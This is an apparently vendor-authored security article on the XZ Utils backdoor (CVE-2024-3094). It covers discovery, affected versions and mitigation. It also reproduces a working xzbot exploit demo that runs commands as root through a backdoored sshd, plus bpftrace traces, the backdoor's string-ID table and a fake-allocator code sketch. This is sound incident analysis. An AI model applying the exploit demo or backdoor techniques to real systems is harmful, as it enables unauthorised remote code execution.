1- Introduction:
A Microsoft developer made a significant revelation on Friday, shaking the tech world by disclosing the intentional inclusion of a backdoor in XZ Utils, a widely used open-source data compression tool found in nearly all Linux and Unix-like systems. The individuals behind this project likely dedicated years to its development and were on the verge of integrating the backdoor update into major Linux distributions like Debian and Red Hat. However, their plans were thwarted by a vigilant software developer who noticed suspicious activity. According to software and cryptography engineer Filippo Valsorda, this incident represents one of the most sophisticated and alarming supply chain attacks seen in public discourse, showcasing malicious intent, technical expertise, and authorization within a highly utilized software library.
XZ Utils is an extensively used tool in the Linux environment, providing essential lossless data compression capabilities across various Unix-like operating systems, including Linux. Its functions are vital for compressing and decompressing data during a wide range of operations. Additionally, XZ Utils supports the .lzma format, further enhancing its importance.
2- Vulnerability Details:
The discovery of a backdoor in XZ Utils on March 29, 2024, has raised concerns about potential backdoor access and remote code execution on affected systems. This backdoor specifically targets versions 5.6.0 and 5.6.1 of XZ Utils running on systems utilizing glibc, systemd, and patched OpenSSH. Users are advised to discontinue usage immediately and revert to XZ version 5.4.x. Activation of the backdoor under specific conditions can impact system performance and security. This situation highlights the risks associated with relying heavily on individual maintainers for critical infrastructure within open-source software ecosystems. Ongoing investigations seek to comprehensively assess the impact and implement measures to mitigate the risks posed by this backdoor.
Andres Freund, a developer and engineer working on Microsoft’s PostgreSQL solutions, recently encountered performance issues on a Debian system related to SSH, the primary protocol for remote device access over the Internet. Specifically, SSH logins were causing excessive CPU usage and generating errors in valgrind, a memory monitoring utility. By chance and through Freund’s meticulous examination, it was determined that the issues stemmed from updates made to XZ Utils. On a Friday, Freund shared on the Open Source Security List that these updates were deliberate attempts to introduce a backdoor into the compression software.
3- Risk Assessment and Mitigation:
The inclusion of malicious code in versions 5.6.0 and 5.6.1 of XZ Utils altered the software’s functionality. The backdoor affected sshd, the executable used for SSH connections. Possession of a specific encryption key would allow an attacker to embed and execute code within an SSH login certificate on the compromised device. While no actual code uploads have been observed, the potential consequences range from stealing encryption keys to installing malware.
Systems utilizing glibc with xz or liblzma versions 5.6.0 or 5.6.1, particularly those with systemd and patched OpenSSH, are vulnerable. Instances of affected versions on public-facing cloud services pose heightened risks, necessitating immediate updates to address vulnerabilities. Cloud providers may have underlying systems or services reliant on these vulnerable versions, emphasizing the importance of verifying and updating instances or consulting provider advisories. Analysis of the de-obfuscated script indicates vulnerability only in specific Linux x86_64 versions, as the script dynamically determines whether to alter the build process, as illustrated below.
Below is a breakdown of affected distributions and the recommended actions for each one to address the issue.
To address the vulnerability, users are advised to immediately discontinue the use of the xz-utils compression tool and revert to xz-5.4.x. Instructions for downgrading these packages can be found in the provided links. Employing a defense-in-depth strategy can bolster security measures and help mitigate vulnerabilities within your workloads, protecting them from malicious activities.
Additionally, configuring Continuous Integration/Continuous Deployment (CI/CD) pipelines to halt the build process under specific conditions can prevent the deployment of code containing identified vulnerabilities into production environments. Aqua Enforcer’s malware detection feature actively scans nodes for xz-utils backdoor exploits, promptly notifying administrators upon detection to facilitate swift response and mitigation.
4- CVE-2024–3094 Investigation
It comprises the following components:
- Honeypot: Simulated vulnerable server designed to identify exploit attempts.
- ed448 Patch: Modification of liblzma.so to incorporate our customized ED448 public key.
- Backdoor Format: Structure of the backdoor payload.
- Backdoor Demo: Command-line interface (CLI) for triggering Remote Code Execution (RCE) assuming possession of the ED448 private key.
4.1. Backdoor Demo
$ go install github.com/amlweems/xzbot@latest
$ xzbot -h
Usage of xzbot:
-addr string
ssh server address (default "127.0.0.1:2222")
-seed string
ed448 seed, must match xz backdoor key (default "0")
-cmd string
command to run via system() (default "id > /tmp/.xz")The following will connect to a vulnerable SSH server at 127.0.0.1:2222 and run the command
We can establish a watchpoint on the susceptible server to monitor the system() function call and witness the execution of the command.
$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz
$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)After exploitation, the process tree appears distinct from a typical sshd process tree.
# normal process tree
$ ssh foo@bar
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1026 765 7 18:51 ? 00:00:00 \_ sshd: foo [priv]
foo 1050 1026 0 18:51 ? 00:00:00 \_ sshd: foo@pts/1
foo 1051 1050 0 18:51 pts/1 00:00:00 \_ -bash
# backdoor process tree
$ xzbot -cmd 'sleep 60'
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 941 765 4 18:04 ? 00:00:00 \_ sshd: root [priv]
sshd 942 941 0 18:04 ? 00:00:00 \_ sshd: root [net]
root 943 941 0 18:04 ? 00:00:00 \_ sh -c sleep 60
root 944 943 0 18:04 ? 00:00:00 \_ sleep 60Please be aware that a successful exploit does not produce any INFO or more elevated log entries.
4.2. String Recognizer for the Automaton
The extracted version of the backdoor code by Florian Weimer does not include any legible ASCII strings or obfuscated ASCII strings. Instead, it features a solitary state automaton designed to identify specific strings. The search for a string involves inputting all potential start addresses into the string detection automaton and verifying if the desired string is recognized. Upon recognition, the string detection automaton assigns a string ID.
The function responsible for implementing the string detection automaton is _Lsimple_coder_update_0, characterized by the following signature:
810: ' from '
678: ' ssh2'
d8: '%.48s:%.48s():%d (pid=%ld)\x00'
708: '%s'
108: '/usr/sbin/sshd\x00'
870: 'Accepted password for '
1a0: 'Accepted publickey for '
c40: 'BN_bin2bn\x00'
6d0: 'BN_bn2bin\x00'
958: 'BN_dup\x00'
418: 'BN_free\x00'
4e0: 'BN_num_bits\x00'
790: 'Connection closed by '
18: 'Could not chdir to home directory %s: %s\n\x00'
b0: 'Could not get agent socket\x00'
960: 'DISPLAY='
9d0: 'DSA_get0_pqg\x00'
468: 'DSA_get0_pub_key\x00'
7e8: 'EC_KEY_get0_group\x00'
268: 'EC_KEY_get0_public_key\x00'
6e0: 'EC_POINT_point2oct\x00'
b28: 'EVP_CIPHER_CTX_free\x00'
838: 'EVP_CIPHER_CTX_new\x00'
2a8: 'EVP_DecryptFinal_ex\x00'
c08: 'EVP_DecryptInit_ex\x00'
3f0: 'EVP_DecryptUpdate\x00'
f8: 'EVP_Digest\x00'
408: 'EVP_DigestVerify\x00'
118: 'EVP_DigestVerifyInit\x00'
d10: 'EVP_MD_CTX_free\x00'
af8: 'EVP_MD_CTX_new\x00'
6f8: 'EVP_PKEY_free\x00'
758: 'EVP_PKEY_new_raw_public_key\x00'
510: 'EVP_PKEY_set1_RSA\x00'
c28: 'EVP_chacha20\x00'
c60: 'EVP_sha256\x00'
188: 'EVP_sm'
8c0: 'GLIBC_2.2.5\x00'
6a8: 'GLRO(dl_naudit) <= naudit\x00'
1e0: 'KRB5CCNAME\x00'
cf0: 'LD_AUDIT='
bc0: 'LD_BIND_NOT='
a90: 'LD_DEBUG='
b98: 'LD_PROFILE='
3e0: 'LD_USE_LOAD_BIAS='
a88: 'LINES='
ac0: 'RSA_free\x00'
798: 'RSA_get0_key\x00'
918: 'RSA_new\x00'
1d0: 'RSA_public_decrypt\x00'
540: 'RSA_set0_key\x00'
8f8: 'RSA_sign\x00'
990: 'SSH-2.0'
4a8: 'TERM='
e0: 'Unrecognized internal syslog level code %d\n\x00'
158: 'WAYLAND_DISPLAY='
878: '__errno_location\x00'
2b0: '__libc_stack_end\x00'
228: '__libc_start_main\x00'
a60: '_dl_audit_preinit\x00'
9c8: '_dl_audit_symbind_alt\x00'
8a8: '_exit\x00'
5b0: '_r_debug\x00'
5b8: '_rtld_global\x00'
a98: '_rtld_global_ro\x00'
b8: 'auth_root_allowed\x00'
1d8: 'authenticating'
28: 'demote_sensitive_data\x00'
348: 'getuid\x00'
a48: 'ld-linux-x86-64.so'
7d0: 'libc.so'
7c0: 'libcrypto.so'
590: 'liblzma.so'
938: 'libsystemd.so'
20: 'list_hostkey_types\x00'
440: 'malloc_usable_size\x00'
c0: 'mm_answer_authpassword\x00'
c8: 'mm_answer_keyallowed\x00'
d0: 'mm_answer_keyverify\x00'
948: 'mm_answer_pam_start\x00'
78: 'mm_choose_dh\x00'
40: 'mm_do_pam_account\x00'
50: 'mm_getpwnamallow\x00'
a8: 'mm_log_handler\x00'
38: 'mm_pty_allocate\x00'
a0: 'mm_request_send\x00'
48: 'mm_session_pty_cleanup2\x00'
70: 'mm_sshpam_free_ctx\x00'
58: 'mm_sshpam_init_ctx\x00'
60: 'mm_sshpam_query\x00'
68: 'mm_sshpam_respond\x00'
30: 'mm_terminate\x00'
c58: 'parse PAM\x00'
400: 'password\x00'
4f0: 'preauth'
690: 'pselect\x00'
7b8: 'publickey\x00'
308: 'read\x00'
710: 'rsa-sha2-256\x00'
428: 'setlogmask\x00'
5f0: 'setresgid\x00'
ab8: 'setresuid\x00'
760: 'shutdown\x00'
d08: 'ssh-2.0'
2c8: 'ssh-rsa-cert-v01@openssh.com\x00'
88: 'sshpam_auth_passwd\x00'
90: 'sshpam_query\x00'
80: 'sshpam_respond\x00'
98: 'start_pam\x00'
9f8: 'system\x00'
198: 'unknown\x00'
b10: 'user'
380: 'write\x00'
10: 'xcalloc: zero size\x00'
b00: 'yolAbejyiejuvnup=Evjtgvsh5okmkAvj\x00'
300: '\x7fELF'4.3 A Simulated Memory Allocator
Within liblzma, there exists a memory allocation layer that simply redirects allocation and deallocation calls to designated allocators. Invoking lzma_alloc or lzma_free with a specified allocator object essentially triggers a function pointer within that object, which may or may not relate to actual memory allocation operations. The backdoor includes a counterfeit allocator object that conducts symbol look-ups instead of actual allocation and performs no actions during deallocation. The look-up function accepts a string ID (refer to the previous section) as the size parameter. Since string IDs are divisible by 8 and range between 10 and 0xd10, they initially appear as feasible sizes. This counterfeit allocator object is provided by .Lstream_decoder_memconfig.part.1. The allocator structure encompasses a context pointer passed to the allocation and deallocation functions. In the case of this false allocator, the opaque member directs to internal ELF module descriptor records. The typical usage pattern (assuming a sensible symbol name for the function returning the counterfeit allocator) is as follows:
lzma_allocator* fake_alloc = GetFakeAllocator();
fake_alloc->opaque = libc_elfmodule;
void* symbol = lzma_alloc(0xAB8, fake_allocator); // 0xAB8: string ID of "setresuid"
// use symbol, maybe call it, maybe store it somewhere
lzma_free(symbol, fake_allocator); // just decoy, does nothingIt is important to note that the backdoor object does not incorporate lzma_alloc and lzma_free; these are standard functions provided by non-backdoor code within liblzma.
5- Conclusion
The disclosure of the intentional backdoor in XZ Utils highlights the persistent threat of supply chain attacks in open-source software. The swift response by developers and security experts in detecting and mitigating the backdoor underscores the importance of vigilance and proactive security measures. It also serves as a reminder of the complex inter-dependencies and risks associated with relying on external libraries and components, necessitating continuous monitoring and updates to safeguard against potential exploits. The coordinated effort in investigating and addressing the XZ backdoor demonstrates the resilience of the cybersecurity community in responding to emerging threats and protecting critical software infrastructure.
